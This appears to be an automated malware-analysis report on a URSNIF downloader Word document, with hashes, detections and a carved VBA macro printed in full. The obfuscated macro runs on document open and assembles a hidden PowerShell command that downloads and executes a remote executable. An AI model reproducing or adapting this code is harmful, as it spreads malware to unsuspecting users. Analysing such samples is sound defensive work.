Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6bf99f4b17a07e78…

MALICIOUS

Office (OLE)

67.0 KB Created: 2018-09-06 08:17:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 50daa311812e27307c3e053c428455bf SHA-1: c879cf20a076ab6deb95d496de2ff897a4e6bf31 SHA-256: 6bf99f4b17a07e788219333d96a7a19c9eddc1b49d16c2a21da255a6a16c80d5
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes a command via the Shell() function upon opening the document. The specific command string is constructed through concatenation, but the presence of the Shell() call and the 'Doc.Downloader.URSNIF' ClamAV detection strongly indicate a downloader functionality. The macro's intent is to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3953 bytes
SHA-256: c71686bd0782f112c343724c4f5b000bab41ed6f8b749bad5787d12c91564d58
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ktWqzirTzkNoL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Shell Format(CVjORz) + GurzPjiPvdO + JRasdumAJYN + FwIRP + jQbiTp + OwfJfwHaSSTmCG + lphJvtEIWoFJ, vbHide
End Sub



Attribute VB_Name = "wVdbTVhklzP"
Function FwIRP()

On _
Error _
Resume _
Next
Month "TvTojwNo" + "186723323" + "6823" + "wXKd"
   Month "irP" + "7147"
wkDpz = Chr(16 + 3 + 1 + 7 + 72) + "md" + " /" + "V" + "^:^" + "O/" + Chr(11 + 2 + 1 + 4 + 49) + Chr(5 + 1 + 0 + 2 + 26) + "s" + "^e^t " + "^9^Z^" + "q=^"
Month "ikKjjkbwnmIHS" + "QFBb" + "Zpfzujf" + "hwUkVL"
   Month "KII" + "452936566"
fzNmZl = " ^" + " ^ ^  ^" + " ^ " + "^   " + " " + " ^ ^ " + "  " + " " + "}}" + "{h" + Chr(16 + 3 + 1 + 7 + 72) + "^t" + "^a" + Chr(16 + 3 + 1 + 7 + 72) + "};"
Month "rJLPCKXSZqo" + "LEDlQz"
ZudmVf = "^ka^" + "er^b^;" + "^En^A" + "$^ m^" + "e" + "^t" + "^" + "I" + "-e^k^"
Month "wSBm" + "469415120"
   Month "496184737" + "ofiUGO"
   Month "333890417" + "NFwtbWo"
jPMsfN = "ovn^I^" + ";)^EnA" + "^" + "$^ ,B" + "kv$" + "(" + "el^i^F" + "^d^" + "ao" + "^ln" + "^woD^."
Month "4266" + "sAph"
   Month "kVjA" + "YnFuvijjE" + "cPz" + "d"
   Month "434307641" + "481652790"
   Month "IzGr" + "rJcGmJMcwMGXG"
nUdbozhQOLP = "^z" + "^LW${^" + "y" + "rt^" + "{)^UZ^" + "S^$" + "^ ni ^" + "B^kv^$("
Month "zCzijl" + "426177216"
   Month "zcHnSFL" + "EEhL" + "d" + "XLkrZC"
OAXaEOcET = "^h" + Chr(16 + 3 + 1 + 7 + 72) + "^a^e" + "rof^;^" + "'" + "e" + "^" + "x" + "^e.'" + "^+Zn^" + "D^$+'"
Month "449695984" + "zzDdbE"
   Month "uDjuJZpTC" + "922"
   Month "315830191" + "zjZt" + "113621810" + "w"
   Month "Rz" + "DzzJJl" + "ZZV" + "dTVZ"
UvnRASVsmhk = "\'^+" + Chr(16 + 3 + 1 + 7 + 72) + "^i" + "l" + "b^u^p" + ":vne" + "$"
Month "6268" + "ahoT"
   Month "qHE" + "ZqwSXXsA"
   Month "MlWjIBhVOOTmt" + "198582979"
FFRYZiZjz = "^=En" + "^A$" + ";^'0^4^" + "2^' =" + "^ " + "Z" + "nD^$;)" + "'@'(t^i" + "^l^pS." + "^'n^kt" + "^.^4^b" + "ko=l" + "^?^ph"
Month "PMOR" + "D" + "SZsRNKimKjBFja" + "iGCQSwM"
   Month "wHdlnl" + "JwE"
   Month "fhI" + "wlzG"
   Month "X" + "BzGX" + "LEt" + "8867224"
PpQiBdlofl = "p.to^k" + "sna" + "^p^o/^" + "T^TR/" + "^m^o" + Chr(16 + 3 + 1 + 7 + 72) + ".b^y^h^" + "j^8a^1f" + "^i^st^h" + "^d2//^" + ":p^tth'" + "=^U^Z"
Month "RJffmHqA" + "lEhw" + "fiMzG" + "T"
wKRwhQ = "^S^" + "$;tn" + "^e" + "il" + Chr(11 + 2 + 1 + 4 + 49) + "b^" + "e^" + "W^." + "te" + "N t" + Chr(16 + 3 + 1 + 7 + 72) + "ej" + "bo-^w^"
Month "YO" + "641" + "243719062" + "PTu"
   Month "FOLc" + "87750435"
JXnuaLan = "en^=" + "z^L^W^$" + "^ l^l^" + "e^hsr" + "^e^w" + "^op&&^f" + "^or " + "/^L %" + "^"
Month "CIDAA" + "zKp"
   Month "vCicjN" + "449035038"
   Month "nG" + "o" + "KuM" + "Xt"
NDfcDj = "5 ^" + "in" + " (^2" + "^63" + ",-^1,0" + ")^" + "do ^se" + "^t" + " ^4^Y" + Chr(11 + 2 + 1 + 4 + 49) + "=!^" + "4^Y" + Chr(11 + 2 + 1 + 4 + 49) + "!" + "!^" + "9^Z^"
Month "ZE" + "296834155" + "54108989" + "489575119"
   Month "GOr" + "4302" + "EXwMH" + "RQnAiwAC"
zTcUOdT = "q:~%^" + "5" + "," + "1!&&^i" + "^f %" + "^5 e"
FwIRP = wkDpz + fzNmZl + ZudmVf + jPMsfN + nUdbozhQOLP + OAXaEOcET + UvnRASVsmhk + FFRYZiZjz + PpQiBdlofl + wKRwhQ + JXnuaLan + NDfcDj + zTcUOdT
   Month "30791967" + "1940" + "EzsX" + "cNjhhzuK"
End Function
Function jQbiTp()

On _
Error _
Resume _
Next
Month "261007764" + "hT" + "cVna" + "MwMUa"
CaOrn = "^q^" + "u ^0" + " " + Chr(16 + 3 + 1 + 7 + 72) + "^a" + "^l^l " + "%^4^Y" + Chr(11 + 2 + 1 + 4 + 49) + ":^~-26^" + "4%" + Chr(5 + 1 + 0 + 2 + 26) + "   "
jQbiTp = CaOrn
   Month "348497763" + "MtBQ" + "BdukcZuSW" + "wCbTinFB"
   Month "bL" + "QtJcKE" + "RDOVfparsO" + "wpTPSzlnI"
End Function